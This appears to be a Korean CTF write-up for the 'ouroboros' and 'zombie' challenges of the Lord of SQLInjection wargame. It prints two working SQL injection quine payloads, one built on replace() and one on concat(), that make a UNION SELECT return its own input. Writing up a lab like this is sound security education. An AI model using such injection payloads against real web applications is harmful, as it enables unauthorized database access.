문제
https://los.rubiya.kr/chall/ouroboros_e3f483f087c922c84373b49950c212a9.php
los.rubiya.kr
https://los.rubiya.kr/chall/zombie_78238dee92f8ed0f508b0e9e00fc0e49.php
los.rubiya.kr
문제풀이
참이 조건을 넣었을 때 반환값이 없다. pw 컬럼이 아마 비어있는 것 같다.
union select를 이용해서 입력하면 출력이 된다.
이 때, pw파라미터에 전달한 값과 출력되는 값이 같아야 한다.
어떻게 출력해야 할지 감이 안와서 검색하니 quine 을 사용해야 한다고 한다.
quine은 자기 자신 소스코드를 출력하는 프로그램이다.
아래 페이로드를 작성하면 된다.
'union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23
ace 문자열이 필터링되어 replace 함수를 사용하지 못한다.
아래 페이로드를 작성하면 된다.
' union select concat(a,char(34),a,char(34),'as a)as a#') from (select "' union select concat(a,char(34),a,char(34),'as a)as a#') from (select "as a)as a#
[Lord of SQLInjection] ouroboros write-up
문제 화면입니다. 참인 조건을 넣어줬을 때 아무 일도 일어나지 않습니다. 아마 테이블의 pw컬럼은 비어 있는 것 같습니다. 도저히 모르겠어서 라이트업을 보니 Quine이라는 친구를 사용한다고 합
ssongkit.tistory.com
[Lord of SQLInjection] zombie write-up
문제 화면 입니다. 이전 문제인 ouroboros처럼 입력과 결과가 동일해야 문제가 풀립니다. 이전 문제와 다른 점은 replace의 ace를 필터링하고 _ 문자는 필터링하지 않습니다. 따라서 information_schema 테
ssongkit.tistory.com
[LOS] zombie
문제 의도의 기능을 알고 있었으면 간단하게 풀리고 아니면 엄청 삽질하게 될 수 있다. 소스코드 분석
blog.limelee.xyz
'write-up(web) > los' 카테고리의 다른 글
[LOS] phantom (0) | 2023.11.04 |
---|---|
[LOS] frankenstein (0) | 2023.11.04 |
[LOS] blue_dragon (0) | 2023.11.03 |
[LOS] red_dragon (0) | 2023.01.28 |
[LOS] green_dragon (0) | 2023.01.28 |